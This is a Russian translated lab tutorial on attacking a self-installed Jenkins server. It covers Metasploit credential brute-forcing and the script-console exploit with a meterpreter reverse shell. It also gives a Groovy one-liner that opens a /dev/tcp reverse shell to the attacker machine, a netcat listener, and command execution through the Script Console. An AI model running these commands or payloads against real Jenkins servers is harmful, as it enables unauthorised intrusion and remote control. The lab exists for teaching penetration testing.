[Перевод] Jenkins: Тестирование на проникновение

Jenkins — это open-source сервер автоматизации, используемый для непрерывной интеграции (CI) и непрерывной доставки (CD), написанный на Java. Jenkins автоматизирует задачи, такие как сборка, тестирование и развертывание в процессе разработки ПО. Эта автоматизация ускоряет циклы разработки, повышает качество кода и упрощает релизы. Ключевые возможности —  CI/CD, автоматизированное тестирование, интеграция с системами контроля версий, расширяемость за счет плагинов и мощный мониторинг и отчётность.

Ещё больше познавательного контента в Telegram-канале — Life-Hack — Хакер

Содержание

— Подготовка лаборатории  

— Установка  

— Конфигурация  

— Перебор  

— Эксплуатация с помощью Metasploit Framework  

— Ручная эксплуатация (Reverse Shell)  

— Выполнение команд напрямую  

— Заключение  

Подготовка лаборатории

В этой статье мы настроим сервер Jenkins на машине с Ubuntu и получим удаленное выполнение кода. Воспользуемся следующими устройствами:

Целевая машина: Ubuntu (192.168.1.4)  

Машина атакующего: Kali Linux (192.168.1.7)

Установка

Для работы Jenkins нам потребуется Java Runtime Environment (JRE). В этом руководстве мы будем использовать OpenJDK, который включает в свой состав JRE.

apt install openjdk-11-jdk

7be59a84a3675787c2a357220204a570.png

В стандартном репозитории Ubuntu может отсутствовать самая новая версия Jenkins, поэтому рекомендуется использовать репозиторий, поддерживаемый проектом Jenkins. Тут вы найдете новейшие функции и исправления.

Для добавления репозитория Jenkins в систему Ubuntu выполните следующее:

Сначала импортируйте GPG-ключ для обеспечения целостности пакетов.

sudo curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee /usr/share/keyrings/jenkins-keyring.asc > /dev/null

0d94120c97f75b9abd82f54a7fbb3178.png

Затем добавьте к списку источников репозиторий Jenkins и добавьте ключ аутентификации с помощью следующей команды:

sudo echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] https://pkg.jenkins.io/debian-stable binary/ | sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null

4c09c8c917ee7ceab77cf447718fc4dd.png

Теперь можно приступать к установке Jenkins.

apt install jenkins

bbbeb51592afa9994bec6f3723c3187e.png

После завершения установки, Jenkins можно запустить с помощью следующей команды:

systemctl start jenkins

Проверить статус можно с помощью следующей команды:

systemctl status jenkins

79a515e0e81b5979c7635c949320dd35.png

Конфигурация

После установки Jenkins нужно настроить для корректной работы. При открытии сервиса, запущенного на порту 8080, мы видим, что Jenkins требует пароль администратора.

8f162dea064edca362c21d1a8c1b4768.png

Пароль можно получить, прочитав содержимое файла initialAdminPassword.

cat /var/lib/Jenkins/secrets/initialAdminPassword

a3bb6622707ccd6b0639fdb0323e8c53.png

Выберите Install suggested plugins, чтобы настроить Jenkins, и продолжайте установку.

63ae1d1b794854d8b8acebbf8333681d.png

На последнем этапе требуется создать администратора, указав имя пользователя и пароль. В данном случае мы используем имя пользователя raj и пароль 123.

ad0976251932fa6c1c13a67b43fc64e7.png

Введите URL для доступа к серверу Jenkins. В нашем случае URL можно указать как http://192.168.1.4:8080/.

4ffe9575408f662ebc1795cf00c5953f.png

Перебор

После успешной установки и настройки сервера мы можем приступить к эксплуатации с помощью Kali. Начинаем с перебора: поскольку Jenkins работает на порту 8080, проверяем именно этот порт. На порту 8080 открывается страница входа Jenkins, для доступа к которой требуются учетные данные.

6e80f593cfb7f9daccc4cb6a5c85fa8c.png

Эксплуатация с использованием Metasploit Framework

Поскольку страница входа требует учетные данные, можно воспользоваться вспомогательным модулем, доступным в Metasploit Framework, чтобы найти валидное имя пользователя и пароль для входа. Модуль, который мы будем использовать, требует файл с именами пользователей и файл с паролями.

Стоит отметить, что для CTF-сценариев в качестве файла с именами пользователей можно использовать общий список популярных имен, а для паролей — файл rockyou.txt. Однако в данном случае для упрощения сканирования мы используем собственный словарь. Внутри Metasploit Framework можно использовать следующие команды:

use auxiliary/scanner/http/jenkins_login

set rhosts 192.168.1.4

set rport 8080

set targeturi /

set user_file users.txt

set pass_file passwords.txt

set verbose false

exploit

94f2817ca28d54272edb00a3eb130fa7.png

Обратите внимание, что валидное имя пользователя и пароль были успешно найдены. Теперь их можно использовать для эксплуатации. В данном случае можно применить эксплойт exploit/multi/http/jenkinsscriptconsole. Для запуска эксплойта в Metasploit Framework используйте следующие команды:

use exploit/multi/http/jenkins_script_console

show targets

set target 1

set payload linux/x64/meterpreter/reverse_tcp

set rhosts 192.168.1.4

set rport 8080

set targeturi /

set username raj

set password 123

exploit

978cc37213985f494da2a87f32c17631.png

Обратите внимание, что после успешного выполнения эксплойта был получен reverse shell.

Ручная эксплуатация (Reverse Shell)  

Чтобы выполнить эксплуатацию вручную, необходимы имя пользователя и пароль от консоли Jenkins. Предполагается, что атакующий уже получил учетные данные либо с помощью перебора, либо другим способом, и может успешно войти в консоль.

После входа с ранее найденными учетными данными (raj:123), можно получить доступ к разделу Manage Jenkins, в котором находится функция Script Console.

294e2b73731cfdf0ef381e6a2342e191.png

В Jenkins основным языком сценариев для создания заданий и пайплайнов является Groovy. Groovy — это динамический язык, работающий на виртуальной машине Java (JVM), что позволяет ему легко интегрироваться с Jenkins. Поэтому для получения обратной оболочки мы будем использовать скрипт на groovy. Команду для groovy reverse shell можно получить по следующей ссылке, выбрав там полезную нагрузку Groovy script payload.

d358a0aa92b2fb82397a8e78cdd35c4c.png

Теперь используем вышеуказанный скрипт groovy reverse shell в консоли скриптов Jenkins. Перед запуском скрипта убедитесь, что вы запустили netcat-листенер на порту 443 на Kali с помощью следующей команды

rlwrap nc -lnvp 443

3b6abc41252c3a1dcb30aea200ba1303.png

В итоге, после запуска вышеуказанного groovy-скрипта, обратная оболочка была получена на 443 порту.

97bdcf2c77e885a7ab6282f4dfd29440.png

Альтернативный способ получить обратную оболочку — выполнить следующий скрипт в консоли скриптов:

r = Runtime.getRuntime()

p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/192.168.1.7/443; cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

Обязательно запустите прослушиватель на 443 порту перед запуском скрипта.

1e02cec289689c35a1b9063822b77470.png

Обратите внимание, что обратная оболочка будет получена на 443 порт после выполнения скрипта.

b5c327f373962106c1d3acf411df3c5f.png

Выполнение команд напрямую

Бывают случаи, когда у нас нет слушателя для получения обратной оболочки. В таких случаях мы можем напрямую запустить скрипт и получить вывод кода в окне результатов.

Следующий код используется для получения результата выполнения системных команд:

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = 'ipconfig'.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1000)

println "out> $sout err> $serr"

Обратите внимание, что после запуска скрипта вывод можно увидеть непосредственно в окне Result.

45c254378c4887f1293fe1b7b1caa168.png

Другой вариант, который можно использовать для получения вывода команды в окне Result:

def proc = "id".execute();

def os = new StringBuffer();

proc.waitForProcessOutput(os, System.err);

println(os.toString());


320496d3203a39fc2552d428401fe693.png

Заключение

Возможность использования серверов Jenkins для получения обратного шелла подчеркивает важность строгих мер безопасности. Данная статья отлично показывает, почему к обеспечению безопасности серверов Jenkins нужно относиться серьезно. Организациям необходимо регулярно проводить проверки безопасности и своевременно обновлять системы, чтобы снизить риск несанкционированного доступа.

Ещё больше познавательного контента в Telegram-канале — Life-Hack — Хакер

Habrahabr.ru прочитано 23157 раз